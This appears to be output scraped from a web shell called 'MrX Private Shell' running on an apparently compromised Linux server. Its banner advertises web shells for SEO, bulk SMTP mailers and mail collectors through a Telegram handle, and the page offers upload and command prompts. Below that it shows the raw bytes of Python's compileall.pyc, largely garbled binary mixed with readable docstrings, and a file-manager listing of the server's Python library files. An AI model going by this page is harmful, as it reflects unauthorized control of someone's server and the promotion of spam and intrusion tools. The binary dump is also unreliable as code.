__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

#T_iO�@s�dZddlZddlZddlZddlZddlZddlZddlm	Z	ddl
mZgd�Zddd�Z
		
	dddddd�dd
�Z				dddddd�dd�Z				ddd�Zdd�Zedkrhee��Ze�e�dSdS)a�Module/script to byte-compile all .py files to .pyc files.

When called as a script with arguments, this compiles the directories
given as arguments recursively; the -l option prevents it from
recursing into directories.

Without arguments, if compiles all modules on sys.path, without
recursing into subdirectories.  (Even though it should do so for
packages -- for now, you'll have to deal with packages separately.)

See module py_compile for details of the actual byte-compilation.
�N)�partial)�Path)�compile_dir�compile_file�compile_pathccs��|dkrt|tj�rt�|�}|std�|��zt�|�}Wnty6|dkr2td�|��g}Ynw|��|D]>}|dkrDq=tj	�
||�}tj	�|�sU|Vq=|dkr{|tjkr{|tj
kr{tj	�|�r{tj	�|�s{t||d|d�EdHq=dS)N�zListing {!r}...zCan't list {!r}�__pycache__r�)�	maxlevels�quiet)�
isinstance�os�PathLike�fspath�print�format�listdir�OSError�sort�path�join�isdir�curdir�pardir�islink�	_walk_dir)�dirr
r�names�name�fullname�r �!/usr/lib/python3.10/compileall.pyrs:�
�
�
�
���rF���r	��stripdir�
prependdir�
limit_sl_dest�hardlink_dupesc
CsZd}|dur|
dus|durtd��|dur|}
|}d}|dkr$td��|dkrEddlm}z|�Wnty>d}Ynwddlm}|durMt��}t|||d�}d	}|dkr�|dur�|pad}||d
��#}|�	t
t|||||||	|
|||
d�|�}t|d	d�}Wd�|S1s�wY|S|D]}t||||||||	|
|||
d
�s�d}q�|S)a�Byte-compile all modules in the given directory tree.

    Arguments (only dir is required):

    dir:       the directory to byte-compile
    maxlevels: maximum recursion level (default `sys.getrecursionlimit()`)
    ddir:      the directory that will be prepended to the path to the
               file as it is compiled into each byte-code file.
    force:     if True, force compilation, even if timestamps are up-to-date
    quiet:     full output with False or 0, errors only with 1,
               no output with 2
    legacy:    if True, produce legacy pyc paths instead of PEP 3147 paths
    optimize:  int or list of optimization levels or -1 for level of
               the interpreter. Multiple levels leads to multiple compiled
               files each with one optimization level.
    workers:   maximum number of parallel workers
    invalidation_mode: how the up-to-dateness of the pyc will be checked
    stripdir:  part of path to left-strip from source file path
    prependdir: path to prepend to beginning of original file path, applied
               after stripdir
    limit_sl_dest: ignore symlinks if they are pointing outside of
                   the defined path
    hardlink_dupes: hardlink duplicated pyc files
    N�PDestination dir (ddir) cannot be used in combination with stripdir or prependdirrz%workers must be greater or equal to 0r	)�_check_system_limits)�ProcessPoolExecutor)rr
T)�max_workers)�ddir�force�rxr�legacy�optimize�invalidation_moder$r%r&r')�defaultr#F)
�
ValueError�concurrent.futures.processr)�NotImplementedError�concurrent.futuresr*�sys�getrecursionlimitr�maprr�min)rr
r,r-r.rr/r0�workersr1r$r%r&r'r*r)�files�success�executor�results�filer r r!r0sh
��
�
�����rc&
Csn|dur|dus|	durtd��d}t�|�}|dur t�|�nd}tj�|�}
d}|dur5tj�||
�}|durd|�tjj�}|�tjj�}t|�}t	||�D]
\}}||kr]|�
|�qPtjj|�}|	dur{|durttj�|	|�}ntj�|	|�}t|t�r�|g}t
t|��}|r�t|�dkr�td��|dur�|�|�}|r�|S|
dur�tj�|�r�t|
���t|���jvr�|Si}tj�|��r5|D].}|r�|d||<q�|dkr�|dkr�|nd	}tjj||d
�}|||<q�tj�|�}|||<q�|
dd�|
dd�}}|dk�r5|�sXzCtt�|�j�}t�d
tjjd|d@�}|��D]%}t|d��
}|� d�}Wd�n	1�s;wY||k�rGn�q#|WSWn
t!�yWYnw|�sbt"d�#|��z?t$|�D]8\}}||}t%j&|||d||d�} |dk�r�|�r�|||d}!t'j(||!dd��r�t�)|�t�*|!|��qgWn�t%j+�y�}"z?d}|dk�r�|WYd}"~"S|�r�t"d�#|��nt"dd	d�t,j-j.�p�t,�/�}#|"j0j1|#dd��2|#�}$t"|$�WYd}"~"|Sd}"~"wt3t4t!f�y-}%z0d}|dk�r|WYd}%~%S|�rt"d�#|��nt"dd	d�t"|%j5j6d|%�WYd}%~%|Sd}%~%ww| dk�r5d}|S)aByte-compile one file.

    Arguments (only fullname is required):

    fullname:  the file to byte-compile
    ddir:      if given, the directory name compiled in to the
               byte-code file.
    force:     if True, force compilation, even if timestamps are up-to-date
    quiet:     full output with False or 0, errors only with 1,
               no output with 2
    legacy:    if True, produce legacy pyc paths instead of PEP 3147 paths
    optimize:  int or list of optimization levels or -1 for level of
               the interpreter. Multiple levels leads to multiple compiled
               files each with one optimization level.
    invalidation_mode: how the up-to-dateness of the pyc will be checked
    stripdir:  part of path to left-strip from source file path
    prependdir: path to prepend to beginning of original file path, applied
               after stripdir
    limit_sl_dest: ignore symlinks if they are pointing outside of
                   the defined path.
    hardlink_dupes: hardlink duplicated pyc files
    Nr(TrzXHardlinking of duplicated bytecode makes sense only for more than one optimization level�crr	�)�optimization���z.pyz<4sLLl���rb�zCompiling {!r}...)r0r1F)�shallowz*** Error compiling {!r}...z*** )�end�backslashreplace)�errors�:)7r3r
rr�basenamer�split�sep�list�zip�remover�int�sorted�set�len�searchrr�resolve�parents�isfile�	importlib�util�cache_from_source�stat�st_mtime�struct�pack�MAGIC_NUMBER�values�open�readrrr�	enumerate�
py_compile�compile�filecmp�cmp�unlink�link�PyCompileErrorr7�stdout�encoding�getdefaultencoding�msg�encode�decode�SyntaxError�UnicodeError�	__class__�__name__)&rr,r-r.rr/r0r1r$r%r&r'r=r�dfile�fullname_parts�stripdir_parts�
ddir_parts�spart�opart�mo�
opt_cfiles�	opt_level�opt�cfile�head�tail�mtime�expect�chandle�actual�index�ok�previous_cfile�errrnrp�er r r!r}s�

�

�


��
����
��


��
��

rc	CsTd}tjD]"}|r|tjkr|r|dkrtd�q|o&t||d|||||d�}q|S)a�Byte-compile all module on sys.path.

    Arguments (all optional):

    skip_curdir: if true, skip current directory (default True)
    maxlevels:   max recursion level (default 0)
    force: as for compile_dir() (default False)
    quiet: as for compile_dir() (default 0)
    legacy: as for compile_dir() (default False)
    optimize: as for compile_dir() (default -1)
    invalidation_mode: as for compiler_dir()
    TrzSkipping current directoryN)rr/r0r1)r7rr
rrr)	�skip_curdirr
r-rr/r0r1r=rr r r!rs"
��
rc
Cs�ddl}|jdd�}|jddddddd	�|jd
tddd
�|jddddd�|jdddddd�|jddddd�|jdddddd�|jd d!d"dd#d�|jd$d%d&dd'd�|jd(d)d*dd+d�|jd,d-d.d/d0�|jd1d2d3d4d5�|jd6d7d8td9d:�d;d<�tjD�}|jd=t|�d>d?�|jd@dAtdBdCdD�|jdEdFdGdHd0�|jdIddJdKd�|��}|j}|j	r�ddl
}|�|j	�|_	|jdLkr�d|_|j
dur�|j
}n|j}|jdur�dMg|_t|j�d8kr�|jr�|�dN�|jdu�r|jdus�|jdu�r|�dO�|j�rQz0|jdPk�rtjnt|jdQdR��}|D]
}|�|����qWd�n	1�s1wYWnt�yP|jdSk�rMtdT�|j��YdUSw|j �rd|j �!dPdV��"�}	tj|	}
nd}
dW}z^|�r�|D]I}t#j$�%|��r�t&||j|j'|j	|j|j(|
|j|j|j|j|jdX��s�dU}�qnt)|||j|j'|j	|j|j(|j*|
|j|j|j|j|jdY��s�dU}�qn|WSt+|j(|j'|j|
dZ�WSt,�y�|jdSk�r�td[�YdUSw)\zScript main program.rNz1Utilities to support installing Python libraries.)�descriptionz-l�store_constr
z!don't recurse into subdirectories)�action�constr2�dest�helpz-r�	recursionzhcontrol the maximum recursion level. if `-l` and `-r` options are specified, then `-r` takes precedence.)�typer�r�z-f�
store_truer-z/force rebuild even if timestamps are up to date)r�r�r�z-q�countrzIoutput only error messages; -qq will suppress the error messages as well.)r�r�r2r�z-br/z0use legacy (pre-PEP3147) compiled file locationsz-d�DESTDIRr,z�directory to prepend to file paths for use in compile-time tracebacks and in runtime tracebacks in cases where the source file is unavailable)�metavarr�r2r�z-s�STRIPDIRr$z�part of path to left-strip from path to source file - for example buildroot. `-d` and `-s` options cannot be specified together.z-p�
PREPENDDIRr%z�path to add as prefix to path to source file - for example / to make it absolute when some part is removed by `-s` option. `-d` and `-p` options cannot be specified together.z-x�REGEXPr.zskip files matching the regular expression; the regexp is searched for in the full path of each file considered for compilationz-i�FILE�flistzzadd all the files and directories listed in FILE to the list considered for compilation; if "-", names are read from stdin)r�r�r��compile_destzFILE|DIR�*zrzero or more file and directory names to compile; if no arguments given, defaults to the equivalent of -l sys.path)r��nargsr�z-jz	--workersr	zRun compileall concurrently)r2r�r�cSsg|]}|j���dd��qS)�_�-)r�lower�replace)�.0�moder r r!�
<listcomp>is�zmain.<locals>.<listcomp>z--invalidation-modez�set .pyc invalidation mode; defaults to "checked-hash" if the SOURCE_DATE_EPOCH environment variable is set, and "timestamp" otherwise.)�choicesr�z-o�append�
opt_levelsz�Optimization levels to run compilation with. Default is -1 which uses the optimization level of the Python interpreter itself (see -O).)r�r�r�r�z-e�DIRr&z+Ignore symlinks pointing outsite of the DIRz--hardlink-dupesr'zHardlink duplicated pyc filesrBr"zYHardlinking of duplicated bytecode makes sense only for more than one optimization level.z.-d cannot be used in combination with -s or -pr�zutf-8)rnrzError reading file list {}Fr�T)r1r$r%r0r&r')r;r1r$r%r0r&r')r/r-rr1z
[interrupted])-�argparse�ArgumentParser�add_argumentrRrf�PycInvalidationModerS�
parse_argsr�r.�rergr&r�r
r�rUr'�errorr,r$r%r�r7�stdinrcr��striprrrrr1r��upperr
rrYrr-r/rr;r�KeyboardInterrupt)
r��parser�invalidation_modes�args�
compile_destsr�r
�f�line�ivl_moder1r=r�r r r!�main4s�
�
�
��
��
�
��
�
�
����
��




�������
�	�
��r��__main__)r)	NNFNrFr"r	N)NFNrFr"N)r	rFrFr"N)�__doc__r
r7�importlib.utilrZrfr_rh�	functoolsr�pathlibr�__all__rrrrr�rvrR�exit_status�exitr r r r!�<module>sH
��M��
�"�

Filemanager

Name Type Size Permission Actions
__future__.cpython-310.pyc File 4.03 KB 0644
__phello__.foo.cpython-310.pyc File 130 B 0644
_aix_support.cpython-310.pyc File 2.81 KB 0644
_bootsubprocess.cpython-310.pyc File 2.24 KB 0644
_collections_abc.cpython-310.pyc File 32.15 KB 0644
_compat_pickle.cpython-310.pyc File 5.73 KB 0644
_compression.cpython-310.pyc File 4.41 KB 0644
_distutils_system_mod.cpython-310.pyc File 5.29 KB 0644
_markupbase.cpython-310.pyc File 7.39 KB 0644
_osx_support.cpython-310.pyc File 11.26 KB 0644
_py_abc.cpython-310.pyc File 4.57 KB 0644
_pydecimal.cpython-310.pyc File 154.04 KB 0644
_pyio.cpython-310.pyc File 71.93 KB 0644
_sitebuiltins.cpython-310.pyc File 3.46 KB 0644
_strptime.cpython-310.pyc File 15.57 KB 0644
_sysconfigdata__linux_x86_64-linux-gnu.cpython-310.pyc File 34.56 KB 0644
_sysconfigdata__x86_64-linux-gnu.cpython-310.pyc File 34.55 KB 0644
_threading_local.cpython-310.pyc File 6.39 KB 0644
_weakrefset.cpython-310.pyc File 7.43 KB 0644
abc.cpython-310.pyc File 6.59 KB 0644
aifc.cpython-310.pyc File 24.11 KB 0644
antigravity.cpython-310.pyc File 822 B 0644
argparse.cpython-310.pyc File 62.05 KB 0644
ast.cpython-310.pyc File 54.43 KB 0644
asynchat.cpython-310.pyc File 6.86 KB 0644
asyncore.cpython-310.pyc File 15.63 KB 0644
base64.cpython-310.pyc File 16.76 KB 0644
bdb.cpython-310.pyc File 25.23 KB 0644
binhex.cpython-310.pyc File 12.57 KB 0644
bisect.cpython-310.pyc File 2.53 KB 0644
bz2.cpython-310.pyc File 10.62 KB 0644
cProfile.cpython-310.pyc File 4.99 KB 0644
calendar.cpython-310.pyc File 25.69 KB 0644
cgi.cpython-310.pyc File 26.1 KB 0644
cgitb.cpython-310.pyc File 9.76 KB 0644
chunk.cpython-310.pyc File 4.75 KB 0644
cmd.cpython-310.pyc File 12.41 KB 0644
code.cpython-310.pyc File 9.72 KB 0644
codecs.cpython-310.pyc File 32.44 KB 0644
codeop.cpython-310.pyc File 5.46 KB 0644
colorsys.cpython-310.pyc File 3.19 KB 0644
compileall.cpython-310.pyc File 12.43 KB 0644
configparser.cpython-310.pyc File 44.39 KB 0644
contextlib.cpython-310.pyc File 20.41 KB 0644
contextvars.cpython-310.pyc File 246 B 0644
copy.cpython-310.pyc File 6.83 KB 0644
copyreg.cpython-310.pyc File 4.57 KB 0644
crypt.cpython-310.pyc File 3.47 KB 0644
csv.cpython-310.pyc File 11.52 KB 0644
dataclasses.cpython-310.pyc File 25.96 KB 0644
datetime.cpython-310.pyc File 55.21 KB 0644
decimal.cpython-310.pyc File 362 B 0644
difflib.cpython-310.pyc File 57.52 KB 0644
dis.cpython-310.pyc File 15.29 KB 0644
doctest.cpython-310.pyc File 74.39 KB 0644
enum.cpython-310.pyc File 25.45 KB 0644
filecmp.cpython-310.pyc File 8.54 KB 0644
fileinput.cpython-310.pyc File 13.74 KB 0644
fnmatch.cpython-310.pyc File 4.14 KB 0644
fractions.cpython-310.pyc File 18.16 KB 0644
ftplib.cpython-310.pyc File 28.3 KB 0644
functools.cpython-310.pyc File 27.67 KB 0644
genericpath.cpython-310.pyc File 3.82 KB 0644
getopt.cpython-310.pyc File 6.19 KB 0644
getpass.cpython-310.pyc File 4.11 KB 0644
gettext.cpython-310.pyc File 17.79 KB 0644
glob.cpython-310.pyc File 5.71 KB 0644
graphlib.cpython-310.pyc File 7.44 KB 0644
gzip.cpython-310.pyc File 18.11 KB 0644
hashlib.cpython-310.pyc File 6.68 KB 0644
heapq.cpython-310.pyc File 13.54 KB 0644
hmac.cpython-310.pyc File 6.81 KB 0644
imaplib.cpython-310.pyc File 41.32 KB 0644
imghdr.cpython-310.pyc File 3.81 KB 0644
imp.cpython-310.pyc File 9.56 KB 0644
inspect.cpython-310.pyc File 83.16 KB 0644
io.cpython-310.pyc File 3.58 KB 0644
ipaddress.cpython-310.pyc File 61.2 KB 0644
keyword.cpython-310.pyc File 927 B 0644
linecache.cpython-310.pyc File 4.04 KB 0644
locale.cpython-310.pyc File 45.07 KB 0644
lzma.cpython-310.pyc File 11.82 KB 0644
mailbox.cpython-310.pyc File 58.68 KB 0644
mailcap.cpython-310.pyc File 7.15 KB 0644
mimetypes.cpython-310.pyc File 17.21 KB 0644
modulefinder.cpython-310.pyc File 15.79 KB 0644
netrc.cpython-310.pyc File 3.84 KB 0644
nntplib.cpython-310.pyc File 30.88 KB 0644
ntpath.cpython-310.pyc File 14.36 KB 0644
nturl2path.cpython-310.pyc File 1.71 KB 0644
numbers.cpython-310.pyc File 11.59 KB 0644
opcode.cpython-310.pyc File 5.32 KB 0644
operator.cpython-310.pyc File 13.19 KB 0644
optparse.cpython-310.pyc File 46.63 KB 0644
os.cpython-310.pyc File 30.86 KB 0644
pathlib.cpython-310.pyc File 41.07 KB 0644
pdb.cpython-310.pyc File 46.33 KB 0644
pickle.cpython-310.pyc File 45.78 KB 0644
pickletools.cpython-310.pyc File 66.17 KB 0644
pipes.cpython-310.pyc File 7.59 KB 0644
pkgutil.cpython-310.pyc File 17.93 KB 0644
platform.cpython-310.pyc File 26.79 KB 0644
plistlib.cpython-310.pyc File 23 KB 0644
poplib.cpython-310.pyc File 13.25 KB 0644
posixpath.cpython-310.pyc File 10.31 KB 0644
pprint.cpython-310.pyc File 17.46 KB 0644
profile.cpython-310.pyc File 14.05 KB 0644
pstats.cpython-310.pyc File 23.07 KB 0644
pty.cpython-310.pyc File 4.05 KB 0644
py_compile.cpython-310.pyc File 7.17 KB 0644
pyclbr.cpython-310.pyc File 9.55 KB 0644
pydoc.cpython-310.pyc File 83.64 KB 0644
queue.cpython-310.pyc File 10.54 KB 0644
quopri.cpython-310.pyc File 5.66 KB 0644
random.cpython-310.pyc File 22.21 KB 0644
re.cpython-310.pyc File 13.89 KB 0644
reprlib.cpython-310.pyc File 5.13 KB 0644
rlcompleter.cpython-310.pyc File 5.81 KB 0644
runpy.cpython-310.pyc File 9.19 KB 0644
sched.cpython-310.pyc File 5.97 KB 0644
secrets.cpython-310.pyc File 2.12 KB 0644
selectors.cpython-310.pyc File 16.7 KB 0644
shelve.cpython-310.pyc File 9.27 KB 0644
shlex.cpython-310.pyc File 7.6 KB 0644
shutil.cpython-310.pyc File 37.63 KB 0644
signal.cpython-310.pyc File 2.87 KB 0644
site.cpython-310.pyc File 17.5 KB 0644
sitecustomize.cpython-310.pyc File 225 B 0644
smtpd.cpython-310.pyc File 25.53 KB 0644
smtplib.cpython-310.pyc File 34.93 KB 0644
sndhdr.cpython-310.pyc File 6.8 KB 0644
socket.cpython-310.pyc File 28.28 KB 0644
socketserver.cpython-310.pyc File 24.75 KB 0644
sre_compile.cpython-310.pyc File 14.84 KB 0644
sre_constants.cpython-310.pyc File 6.21 KB 0644
sre_parse.cpython-310.pyc File 21.25 KB 0644
ssl.cpython-310.pyc File 44.21 KB 0644
stat.cpython-310.pyc File 4.17 KB 0644
statistics.cpython-310.pyc File 36.18 KB 0644
string.cpython-310.pyc File 6.94 KB 0644
stringprep.cpython-310.pyc File 16.67 KB 0644
struct.cpython-310.pyc File 307 B 0644
subprocess.cpython-310.pyc File 43.69 KB 0644
sunau.cpython-310.pyc File 16.1 KB 0644
symtable.cpython-310.pyc File 12.53 KB 0644
sysconfig.cpython-310.pyc File 17.73 KB 0644
tabnanny.cpython-310.pyc File 6.79 KB 0644
tarfile.cpython-310.pyc File 69.02 KB 0644
telnetlib.cpython-310.pyc File 18.07 KB 0644
tempfile.cpython-310.pyc File 26.7 KB 0644
textwrap.cpython-310.pyc File 13.49 KB 0644
this.cpython-310.pyc File 1.23 KB 0644
threading.cpython-310.pyc File 43.92 KB 0644
timeit.cpython-310.pyc File 11.49 KB 0644
token.cpython-310.pyc File 2.67 KB 0644
tokenize.cpython-310.pyc File 16.79 KB 0644
trace.cpython-310.pyc File 19.4 KB 0644
traceback.cpython-310.pyc File 21.2 KB 0644
tracemalloc.cpython-310.pyc File 17.11 KB 0644
tty.cpython-310.pyc File 1.05 KB 0644
turtle.cpython-310.pyc File 125.84 KB 0644
types.cpython-310.pyc File 9.3 KB 0644
typing.cpython-310.pyc File 83.28 KB 0644
uu.cpython-310.pyc File 3.78 KB 0644
uuid.cpython-310.pyc File 21.97 KB 0644
warnings.cpython-310.pyc File 13.33 KB 0644
wave.cpython-310.pyc File 17.18 KB 0644
weakref.cpython-310.pyc File 19.87 KB 0644
webbrowser.cpython-310.pyc File 16.6 KB 0644
xdrlib.cpython-310.pyc File 7.7 KB 0644
zipapp.cpython-310.pyc File 5.87 KB 0644
zipfile.cpython-310.pyc File 60.4 KB 0644
zipimport.cpython-310.pyc File 16.63 KB 0644
Filemanager